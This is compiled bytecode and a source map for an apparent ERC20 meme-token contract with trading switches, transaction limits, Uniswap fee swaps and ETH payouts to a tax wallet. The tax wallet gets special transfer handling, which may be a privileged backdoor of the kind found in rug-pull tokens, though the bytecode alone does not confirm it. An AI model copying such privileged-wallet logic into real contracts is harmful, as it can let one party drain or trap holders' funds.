565b60145460ff16156106955760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104a9565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106de9030906106d06009600a611809565b61042090633b9aca00611817565b60105f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561072e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107529190611863565b6001600160a01b031663c9c653963060105f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d59190611863565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561081f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108439190611863565b601180546001600160a01b039283166001600160a01b03199091161790556014805460ff191660011790556010541663f305d7194730610897816001600160a01b03165f9081526001602052604090205490565b5f806108aa5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610910573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610935919061187e565b505060115460105460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561098a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ae91906118a9565b506014805462ff0000191662010000179055565b6001600160a01b038316610a245760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104a9565b6001600160a01b038216610a855760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104a9565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b4a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104a9565b6001600160a01b038216610bac5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104a9565b5f8111610c145760405162461bcd60e51b815260206004820152603060248201527f546f6b656e3a205472616e7366657220616d6f756e74206d757374206265206760448201526f726561746572207468616e207a65726f60801b60648201526084016104a9565b60145460ff161580610c2d5750601454610100900460ff165b15610c4257610c3d838383611228565b505050565b5f80546001600160a01b03858116911614801590610c6e57506004546001600160a01b03848116911614155b8015610c8757505f546001600160a01b03848116911614155b15610ece57610cb86064610cb2600954600b5411610ca757600554610cab565b6007545b85906112cb565b90611350565b6011549091506001600160a01b038581169116148015610ce657506010546001600160a01b03848116911614155b8015610d0a57506001600160a01b0383165f9081526003602052604090205460ff16155b15610df057600c54821115610d615760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104a9565b600d5482610d83856001600160a01b03165f9081526001602052604090205490565b610d8d91906118c8565b1115610ddb5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104a9565b600b8054905f610dea836118db565b91905055505b6011546001600160a01b038481169116148015610e1657506001600160a01b0384163014155b15610e4357610e406064610cb2600a54600b5411610e3657600654610cab565b60085485906112cb565b90505b305f90815260016020526040902054601454610100900460ff16158015610e7757506011546001600160a01b038581169116145b8015610e8b575060145462010000900460ff165b8015610e985750600e5481115b15610ecc57610eba610eb584610eb084600f54611391565b611391565b611087565b478015610eca57610eca476111f1565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610f0b57506001600160a01b0383165f9081526003602052604090205460ff165b8015610f2057506001600160a01b0384163014155b8015610f3557506001600160a01b0383163014155b15610f3f57436013555b6001600160a01b0384165f9081526003602052604090205460ff16158015610f7f57506001600160a01b0383165f9081526003602052604090205460ff16155b1561103d576011546001600160a01b0384811691161461100a576001600160a01b038084165f908152601560205260409020601154909190811690861603610fd25780545f03610fcd574381555b611004565b6001600160a01b0385165f908152601560205260409020805482541180610ff857508154155b1561100257805482555b505b5061103d565b6001600160a01b0384165f908152601560205260409020601354815461103091906118f3565b6002820155436001909101555b611049848484846113a5565b50505050565b5f81848411156110725760405162461bcd60e51b81526004016104a991906115fb565b505f61107e84866118f3565b95945050505050565b6014805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106110c9576110c9611906565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611120573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111449190611863565b8160018151811061115757611157611906565b6001600160a01b03928316602091820292909201015260105461117d91309116846109c2565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906111b59085905f9086903090429060040161191a565b5f604051808303815f87803b1580156111cc575f80fd5b505af11580156111de573d5f803e3d5ffd5b50506014805461ff001916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561047c573d5f803e3d5ffd5b6001600160a01b0383165f9081526001602052604090205461124a90826113cf565b6001600160a01b038085165f9081526001602052604080822093909355908416815220546112789082611410565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ad99085815260200190565b5f825f036112da57505f6103a2565b5f6112e58385611817565b9050826112f2858361198b565b146113495760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104a9565b9392505050565b5f61134983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061146e565b5f81831161139f5782611349565b50919050565b5f6113b185848461149a565b90506113c88585836113c387876113cf565b61154a565b5050505050565b5f61134983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061104f565b5f8061141c83856118c8565b9050838110156113495760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104a9565b5f818361148e5760405162461bcd60e51b81526004016104a991906115fb565b505f61107e848661198b565b6004545f9081906001600160a01b03908116908616036114c6576012546114c190856112cb565b6114c8565b835b9050821561154257305f908152600160205260409020546114e99084611410565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115399087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f9081526001602052604090205461156c90836113cf565b6001600160a01b038086165f90815260016020526040808220939093559085168152205461159a9082611410565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115ed9085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b818110156116275785810183015185820160400152820161160b565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104e8575f80fd5b5f806040838503121561166c575f80fd5b823561167781611647565b946020939093013593505050565b5f805f60608486031215611697575f80fd5b83356116a281611647565b925060208401356116b281611647565b929592945050506040919091013590565b5f602082840312156116d3575f80fd5b813561134981611647565b5f80604083850312156116ef575f80fd5b82356116fa81611647565b9150602083013561170a81611647565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561176357815f190482111561174957611749611715565b8085161561175657918102915b93841c939080029061172e565b509250929050565b5f82611779575060016103a2565b8161178557505f6103a2565b816001811461179b57600281146117a5576117c1565b60019150506103a2565b60ff8411156117b6576117b6611715565b50506001821b6103a2565b5060208310610133831016604e8410600b84101617156117e4575081810a6103a2565b6117ee8383611729565b805f190482111561180157611801611715565b029392505050565b5f61134960ff84168361176b565b80820281158282048414176103a2576103a2611715565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611873575f80fd5b815161134981611647565b5f805f60608486031215611890575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156118b9575f80fd5b81518015158114611349575f80fd5b808201808211156103a2576103a2611715565b5f600182016118ec576118ec611715565b5060010190565b818103818111156103a2576103a2611715565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561196a5784516001600160a01b031683529383019391830191600101611945565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826119a557634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a3e06702a082ac5499b0eada1d20a0668e1e606d5ab255694ef7d3a77b03f24f64736f6c63430008170033
Deployed Bytecode Sourcemap
3781:9918:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5797:83;;;;;;;;;;-1:-1:-1;5867:5:0;;;;;;;;;;;;-1:-1:-1;;;5867:5:0;;;;5797:83;;;;;;;:::i;:::-;;;;;;;;6922:197;;;;;;;;;;-1:-1:-1;6922:197:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6922:197:0;1023:187:1;4784:53:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4784:53:0;1215:177:1;6074:95:0;;;;;;;;;;;;;:::i;7127:348::-;;;;;;;;;;-1:-1:-1;7127:348:0;;;;;:::i;:::-;;:::i;5983:83::-;;;;;;;;;;-1:-1:-1;5983:83:0;;4518:1;2000:36:1;;1988:2;1973:18;5983:83:0;1858:184:1;13187:356:0;;;;;;;;;;;;;:::i;:::-;;13551:108;;;;;;;;;;;;;:::i;6433:119::-;;;;;;;;;;-1:-1:-1;6433:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6526:18:0;6499:7;6526:18;;;:9;:18;;;;;;;6433:119;3587:187;;;;;;;;;;;;;:::i;10638:159::-;;;;;;;;;;;;;:::i;4596:53::-;;;;;;;;;;;;;;;;3373:79;;;;;;;;;;-1:-1:-1;3411:7:0;3438:6;3373:79;;-1:-1:-1;;;;;3438:6:0;;;2445:51:1;;2433:2;2418:18;3373:79:0;2299:203:1;4656:55:0;;;;;;;;;;;;;;;;5888:87;;;;;;;;;;-1:-1:-1;5960:7:0;;;;;;;;;;;;-1:-1:-1;;;5960:7:0;;;;5888:87;;6560:203;;;;;;;;;;-1:-1:-1;6560:203:0;;;;;:::i;:::-;;:::i;4718:59::-;;;;;;;;;;;;;;;;12514:665;;;;;;;;;;;;;:::i;6771:143::-;;;;;;;;;;-1:-1:-1;6771:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6879:18:0;;;6852:7;6879:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6771:143;6922:197;6997:4;7014:75;3032:10;7050:7;7072:6;7014:8;:75::i;:::-;-1:-1:-1;7107:4:0;6922:197;;;;;:::o;6074:95::-;6127:7;4574:13;4518:1;4574:2;:13;:::i;:::-;4561:26;;:10;:26;:::i;:::-;6147:14;;6074:95;:::o;7127:348::-;7225:4;7242:36;7252:6;7260:9;7271:6;7242:9;:36::i;:::-;7289:156;7312:6;3032:10;7346:88;7384:6;7346:88;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7346:19:0;;;;;;:11;:19;;;;;;;;3032:10;7346:33;;;;;;;;;;:37;:88::i;:::-;7289:8;:156::i;:::-;-1:-1:-1;7463:4:0;7127:348;;;;;:::o;13187:356::-;13251:10;;-1:-1:-1;;;;;13251:10:0;3032;-1:-1:-1;;;;;13237:24:0;;13229:33;;;;;;13314:4;13273:20;6526:18;;;:9;:18;;;;;;13335:14;;13331:75;;13364:30;13381:12;13364:16;:30::i;:::-;13437:21;13473:12;;13469:67;;13500:24;13513:10;13500:12;:24::i;:::-;13218:325;;13187:356::o;13551:108::-;3500:6;;-1:-1:-1;;;;;3500:6:0;3032:10;3500:22;3492:67;;;;-1:-1:-1;;;3492:67:0;;;;;;;:::i;:::-;;;;;;;;;13609:10:::1;::::0;:42:::1;::::0;-1:-1:-1;;;;;13609:10:0;;::::1;::::0;13629:21:::1;13609:42:::0;::::1;;;::::0;:10:::1;:42:::0;:10;:42;13629:21;13609:10;:42;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;13551:108::o:0;3587:187::-;3500:6;;-1:-1:-1;;;;;3500:6:0;3032:10;3500:22;3492:67;;;;-1:-1:-1;;;3492:67:0;;;;;;;:::i;:::-;3721:1:::1;3692:6:::0;;3657:77:::1;::::0;-1:-1:-1;;;;;3692:6:0;;::::1;::::0;3657:77:::1;::::0;3721:1;;3657:77:::1;3764:1;3747:19:::0;;-1:-1:-1;;;;;;3747:19:0::1;::::0;;3587:187::o;10638:159::-;3500:6;;-1:-1:-1;;;;;3500:6:0;3032:10;3500:22;3492:67;;;;-1:-1:-1;;;3492:67:0;;;;;;;:::i;:::-;4574:13:::1;4518:1;4574:2;:13;:::i;:::-;4561:26;::::0;:10:::1;:26;:::i;:::-;10693:12;:20:::0;4574:13:::1;4518:1;4574:2;:13;:::i;:::-;4561:26;::::0;:10:::1;:26;:::i;:::-;10724:14;:22:::0;10762:27:::1;4574:13;4518:1;4574:2;:13;:::i;:::-;4561:26;::::0;:10:::1;:26;:::i;:::-;10762:27;::::0;1361:25:1;;;1349:2;1334:18;10762:27:0::1;;;;;;;10638:159::o:0;6560:203::-;6638:4;6655:78;3032:10;6692:9;6716:6;6655:9;:78::i;12514:665::-;3500:6;;-1:-1:-1;;;;;3500:6:0;3032:10;3500:22;3492:67;;;;-1:-1:-1;;;3492:67:0;;;;;;;:::i;:::-;12578:11:::1;::::0;::::1;;12577:12;12569:47;;;::::0;-1:-1:-1;;;12569:47:0;;5145:2:1;12569:47:0::1;::::0;::::1;5127:21:1::0;5184:2;5164:18;;;5157:30;5223:25;5203:18;;;5196:53;5266:18;;12569:47:0::1;4943:347:1::0;12569:47:0::1;12627:15;:80:::0;;-1:-1:-1;;;;;;12627:80:0::1;12664:42;12627:80:::0;;::::1;::::0;;;12718:56:::1;::::0;12735:4:::1;::::0;4574:13:::1;4518:1;4574:2;:13;:::i;:::-;4561:26;::::0;:10:::1;:26;:::i;12718:56::-;12819:15;;;;;;;;;-1:-1:-1::0;;;;;12819:15:0::1;-1:-1:-1::0;;;;;12819:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12801:55:0::1;;12865:4;12871:15;;;;;;;;;-1:-1:-1::0;;;;;12871:15:0::1;-1:-1:-1::0;;;;;12871:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12801:93;::::0;-1:-1:-1;;;;;;12801:93:0::1;::::0;;;;;;-1:-1:-1;;;;;5781:15:1;;;12801:93:0::1;::::0;::::1;5763:34:1::0;5833:15;;5813:18;;;5806:43;5698:18;;12801:93:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12785:13;:109:::0;;-1:-1:-1;;;;;12785:109:0;;::::1;-1:-1:-1::0;;;;;;12785:109:0;;::::1;;::::0;;12905:11:::1;:16:::0;;-1:-1:-1;;12905:16:0::1;12785:109:::0;12905:16:::1;::::0;;12932:15:::1;::::0;::::1;:31;12971:21;13002:4;13008:24;13002:4:::0;-1:-1:-1;;;;;6526:18:0;6499:7;6526:18;;;:9;:18;;;;;;;6433:119;13008:24:::1;13033:1;13035::::0;13037:7:::1;3411::::0;3438:6;-1:-1:-1;;;;;3438:6:0;;3373:79;13037:7:::1;12932:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12932:129:0;;;-1:-1:-1;;;;;6219:15:1;;;12932:129:0::1;::::0;::::1;6201:34:1::0;6251:18;;;6244:34;;;;6294:18;;;6287:34;;;;6337:18;;;6330:34;6401:15;;;6380:19;;;6373:44;13045:15:0::1;6433:19:1::0;;;6426:35;6135:19;;12932:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13079:13:0::1;::::0;13110:15:::1;::::0;13072:71:::1;::::0;-1:-1:-1;;;13072:71:0;;-1:-1:-1;;;;;13110:15:0;;::::1;13072:71;::::0;::::1;6957:51:1::0;-1:-1:-1;;7024:18:1;;;7017:34;13079:13:0;::::1;::::0;-1:-1:-1;13072:29:0::1;::::0;6930:18:1;;13072:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13154:11:0::1;:17:::0;;-1:-1:-1;;13154:17:0::1;::::0;::::1;::::0;;12514:665::o;7483:335::-;-1:-1:-1;;;;;7576:19:0;;7568:68;;;;-1:-1:-1;;;7568:68:0;;7546:2:1;7568:68:0;;;7528:21:1;7585:2;7565:18;;;7558:30;7624:34;7604:18;;;7597:62;-1:-1:-1;;;7675:18:1;;;7668:34;7719:19;;7568:68:0;7344:400:1;7568:68:0;-1:-1:-1;;;;;7655:21:0;;7647:68;;;;-1:-1:-1;;;7647:68:0;;7951:2:1;7647:68:0;;;7933:21:1;7990:2;7970:18;;;7963:30;8029:34;8009:18;;;8002:62;-1:-1:-1;;;8080:18:1;;;8073:32;8122:19;;7647:68:0;7749:398:1;7647:68:0;-1:-1:-1;;;;;7726:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7778:32;;1361:25:1;;;7778:32:0;;1334:18:1;7778:32:0;;;;;;;;7483:335;;;:::o;7826:2804::-;-1:-1:-1;;;;;7919:18:0;;7911:68;;;;-1:-1:-1;;;7911:68:0;;8354:2:1;7911:68:0;;;8336:21:1;8393:2;8373:18;;;8366:30;8432:34;8412:18;;;8405:62;-1:-1:-1;;;8483:18:1;;;8476:35;8528:19;;7911:68:0;8152:401:1;7911:68:0;-1:-1:-1;;;;;7998:16:0;;7990:64;;;;-1:-1:-1;;;7990:64:0;;8760:2:1;7990:64:0;;;8742:21:1;8799:2;8779:18;;;8772:30;8838:34;8818:18;;;8811:62;-1:-1:-1;;;8889:18:1;;;8882:33;8932:19;;7990:64:0;8558:399:1;7990:64:0;8085:1;8073:11;:13;8065:73;;;;-1:-1:-1;;;8065:73:0;;9164:2:1;8065:73:0;;;9146:21:1;9203:2;9183:18;;;9176:30;9242:34;9222:18;;;9215:62;-1:-1:-1;;;9293:18:1;;;9286:46;9349:19;;8065:73:0;8962:412:1;8065:73:0;8156:11;;;;8155:12;;:22;;-1:-1:-1;8171:6:0;;;;;;;8155:22;8151:112;;;8195:35;8210:4;8215:2;8218:11;8195:14;:35::i;:::-;7826:2804;;;:::o;8151:112::-;8275:17;3438:6;;-1:-1:-1;;;;;8313:15:0;;;3438:6;;8313:15;;;;:35;;-1:-1:-1;8338:10:0;;-1:-1:-1;;;;;8332:16:0;;;8338:10;;8332:16;;8313:35;:52;;;;-1:-1:-1;3411:7:0;3438:6;-1:-1:-1;;;;;8352:13:0;;;3438:6;;8352:13;;8313:52;8309:1186;;;8393:82;8471:3;8393:73;8420:15;;8410:9;;:25;8409:56;;8451:14;;8409:56;;;8437:12;;8409:56;8393:11;;:15;:73::i;:::-;:77;;:82::i;:::-;8504:13;;8381:94;;-1:-1:-1;;;;;;8496:21:0;;;8504:13;;8496:21;:55;;;;-1:-1:-1;8535:15:0;;-1:-1:-1;;;;;8521:30:0;;;8535:15;;8521:30;;8496:55;:83;;;;-1:-1:-1;;;;;;8557:22:0;;;;;;:18;:22;;;;;;;;8556:23;8496:83;8492:317;;;8620:12;;8607:11;:25;;8599:63;;;;-1:-1:-1;;;8599:63:0;;9581:2:1;8599:63:0;;;9563:21:1;9620:2;9600:18;;;9593:30;9659:27;9639:18;;;9632:55;9704:18;;8599:63:0;9379:349:1;8599:63:0;8718:14;;8703:11;8689:13;8699:2;-1:-1:-1;;;;;6526:18:0;6499:7;6526:18;;;:9;:18;;;;;;;6433:119;8689:13;:25;;;;:::i;:::-;:43;;8681:82;;;;-1:-1:-1;;;8681:82:0;;10065:2:1;8681:82:0;;;10047:21:1;10104:2;10084:18;;;10077:30;10143:28;10123:18;;;10116:56;10189:18;;8681:82:0;9863:350:1;8681:82:0;8782:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8492:317;8834:13;;-1:-1:-1;;;;;8828:19:0;;;8834:13;;8828:19;:43;;;;-1:-1:-1;;;;;;8851:20:0;;8866:4;8851:20;;8828:43;8825:179;;;8904:84;8984:3;8904:75;8931:16;;8921:9;;:26;8920:58;;8963:15;;8920:58;;;8949:13;;8904:11;;:15;:75::i;:84::-;8892:96;;8825:179;9067:4;9020:28;6526:18;;;:9;:18;;;;;;9093:6;;;;;;;9092:7;:30;;;;-1:-1:-1;9109:13:0;;-1:-1:-1;;;;;9103:19:0;;;9109:13;;9103:19;9092:30;:45;;;;-1:-1:-1;9126:11:0;;;;;;;9092:45;:89;;;;;9164:17;;9141:20;:40;9092:89;9088:396;;;9201:74;9218:56;9222:11;9235:38;9239:20;9261:11;;9235:3;:38::i;:::-;9218:3;:56::i;:::-;9201:16;:74::i;:::-;9323:21;9367:22;;9363:106;;9414:35;9427:21;9414:12;:35::i;:::-;9182:302;9088:396;8366:1129;8309:1186;-1:-1:-1;;;;;9512:24:0;;;;;;:18;:24;;;;;;;;;:48;;-1:-1:-1;;;;;;9538:22:0;;;;;;:18;:22;;;;;;;;9512:48;9511:74;;;;-1:-1:-1;;;;;;9565:20:0;;9580:4;9565:20;;9511:74;:96;;;;-1:-1:-1;;;;;;9589:18:0;;9602:4;9589:18;;9511:96;9507:161;;;9644:12;9624:17;:32;9507:161;-1:-1:-1;;;;;9685:24:0;;;;;;:18;:24;;;;;;;;9684:25;:50;;;;-1:-1:-1;;;;;;9712:22:0;;;;;;:18;:22;;;;;;;;9711:23;9684:50;9680:885;;;9760:13;;-1:-1:-1;;;;;9754:19:0;;;9760:13;;9754:19;9750:804;;-1:-1:-1;;;;;9821:12:0;;;9795:23;9821:12;;;:8;:12;;;;;9864:13;;9821:12;;9864:13;;;9856:21;;;;9852:461;;9906:18;;;:23;9902:113;;9979:12;9958:33;;9902:113;9852:461;;;-1:-1:-1;;;;;10092:14:0;;10063:26;10092:14;;;:8;:14;;;;;10154:21;;10133:18;;:42;;:67;;-1:-1:-1;10179:18:0;;:21;10133:67;10129:165;;;10249:21;;10228:42;;10129:165;10040:273;9852:461;9776:552;9750:804;;;-1:-1:-1;;;;;10381:14:0;;10352:26;10381:14;;;:8;:14;;;;;10463:17;;10441:21;;:39;;10463:17;10441:39;:::i;:::-;10414:24;;;:66;10526:12;10499:24;;;;:39;9750:804;10577:45;10592:4;10597:2;10600:11;10612:9;10577:14;:45::i;:::-;7900:2730;7826:2804;;;:::o;1398:190::-;1484:7;1520:12;1512:6;;;;1504:29;;;;-1:-1:-1;;;1504:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1544:9:0;1556:5;1560:1;1556;:5;:::i;:::-;1544:17;1398:190;-1:-1:-1;;;;;1398:190:0:o;11925:482::-;5376:6;:13;;-1:-1:-1;;5376:13:0;;;;;12026:16:::1;::::0;;12040:1:::1;12026:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12026:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12026:16:0::1;12002:40;;12071:4;12053;12058:1;12053:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12053:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12097:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12097:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12053:7;;12097:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12087:4;12092:1;12087:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12087:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12162:15:::1;::::0;12130:62:::1;::::0;12147:4:::1;::::0;12162:15:::1;12180:11:::0;12130:8:::1;:62::i;:::-;12203:15;::::0;:196:::1;::::0;-1:-1:-1;;;12203:196:0;;-1:-1:-1;;;;;12203:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12284:11;;12203:15:::1;::::0;12326:4;;12353::::1;::::0;12373:15:::1;::::0;12203:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5412:6:0;:14;;-1:-1:-1;;5412:14:0;;;-1:-1:-1;;;;11925:482:0:o;12415:91::-;12471:10;;:27;;-1:-1:-1;;;;;12471:10:0;;;;:27;;;;;12491:6;;12471:10;:27;:10;:27;12491:6;12471:10;:27;;;;;;;;;;;;;;;;;;;6177:248;-1:-1:-1;;;;;6283:15:0;;;;;;:9;:15;;;;;;:32;;6303:11;6283:19;:32::i;:::-;-1:-1:-1;;;;;6265:15:0;;;;;;;:9;:15;;;;;;:50;;;;6342:13;;;;;;;:30;;6360:11;6342:17;:30::i;:::-;-1:-1:-1;;;;;6326:13:0;;;;;;;:9;:13;;;;;;;:46;;;;6388:29;;;;;;;;;;6405:11;1361:25:1;;1349:2;1334:18;;1215:177;1596:224:0;1654:7;1678:1;1683;1678:6;1674:25;;-1:-1:-1;1695:1:0;1688:8;;1674:25;1709:9;1721:5;1725:1;1721;:5;:::i;:::-;1709:17;-1:-1:-1;1754:1:0;1745:5;1749:1;1709:17;1745:5;:::i;:::-;:10;1737:56;;;;-1:-1:-1;;;1737:56:0;;12164:2:1;1737:56:0;;;12146:21:1;12203:2;12183:18;;;12176:30;12242:34;12222:18;;;12215:62;-1:-1:-1;;;12293:18:1;;;12286:31;12334:19;;1737:56:0;11962:397:1;1737:56:0;1811:1;1596:224;-1:-1:-1;;;1596:224:0:o;1828:132::-;1886:7;1913:39;1917:1;1920;1913:39;;;;;;;;;;;;;;;;;:3;:39::i;11818:99::-;11875:7;11903:1;11901;:3;11900:9;;11908:1;11900:9;;;-1:-1:-1;11906:1:0;11818:99;-1:-1:-1;11818:99:0:o;10805:266::-;10928:15;10944:45;10962:4;10967:11;10979:9;10944:17;:45::i;:::-;10928:61;-1:-1:-1;11000:63:0;11020:4;11025:2;10928:61;11036:26;:11;11052:9;11036:15;:26::i;:::-;11000:19;:63::i;:::-;10917:154;10805:266;;;;:::o;1254:136::-;1312:7;1339:43;1343:1;1346;1339:43;;;;;;;;;;;;;;;;;:3;:43::i;1067:179::-;1125:7;;1157:5;1161:1;1157;:5;:::i;:::-;1145:17;;1186:1;1181;:6;;1173:46;;;;-1:-1:-1;;;1173:46:0;;12566:2:1;1173:46:0;;;12548:21:1;12605:2;12585:18;;;12578:30;12644:29;12624:18;;;12617:57;12691:18;;1173:46:0;12364:351:1;1968:189:0;2054:7;2089:12;2082:5;2074:28;;;;-1:-1:-1;;;2074:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2113:9:0;2125:5;2129:1;2125;:5;:::i;11381:429::-;11540:10;;11496:7;;;;-1:-1:-1;;;;;11540:10:0;;;11533:17;;;;:67;;11565:18;;:35;;11588:11;11565:22;:35::i;:::-;11533:67;;;11553:11;11533:67;11515:85;-1:-1:-1;11615:11:0;;11611:167;;11686:4;11668:24;;;;:9;:24;;;;;;:39;;11697:9;11668:28;:39::i;:::-;11661:4;11643:24;;;;:9;:24;;;;;;;:64;;;;11727:39;;-1:-1:-1;;;;;11727:39:0;;;;;;;11756:9;1361:25:1;;1349:2;1334:18;;1215:177;11727:39:0;;;;;;;;11611:167;11795:7;11381:429;-1:-1:-1;;;;11381:429:0:o;11079:294::-;-1:-1:-1;;;;;11227:15:0;;;;;;:9;:15;;;;;;:31;;11247:10;11227:19;:31::i;:::-;-1:-1:-1;;;;;11211:15:0;;;;;;;:9;:15;;;;;;:47;;;;11284:13;;;;;;;:32;;11302:13;11284:17;:32::i;:::-;-1:-1:-1;;;;;11269:13:0;;;;;;;:9;:13;;;;;;;:47;;;;11334:31;;;;;;;;;;11351:13;1361:25:1;;1349:2;1334:18;;1215:177;11334:31:0;;;;;;;;11079:294;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::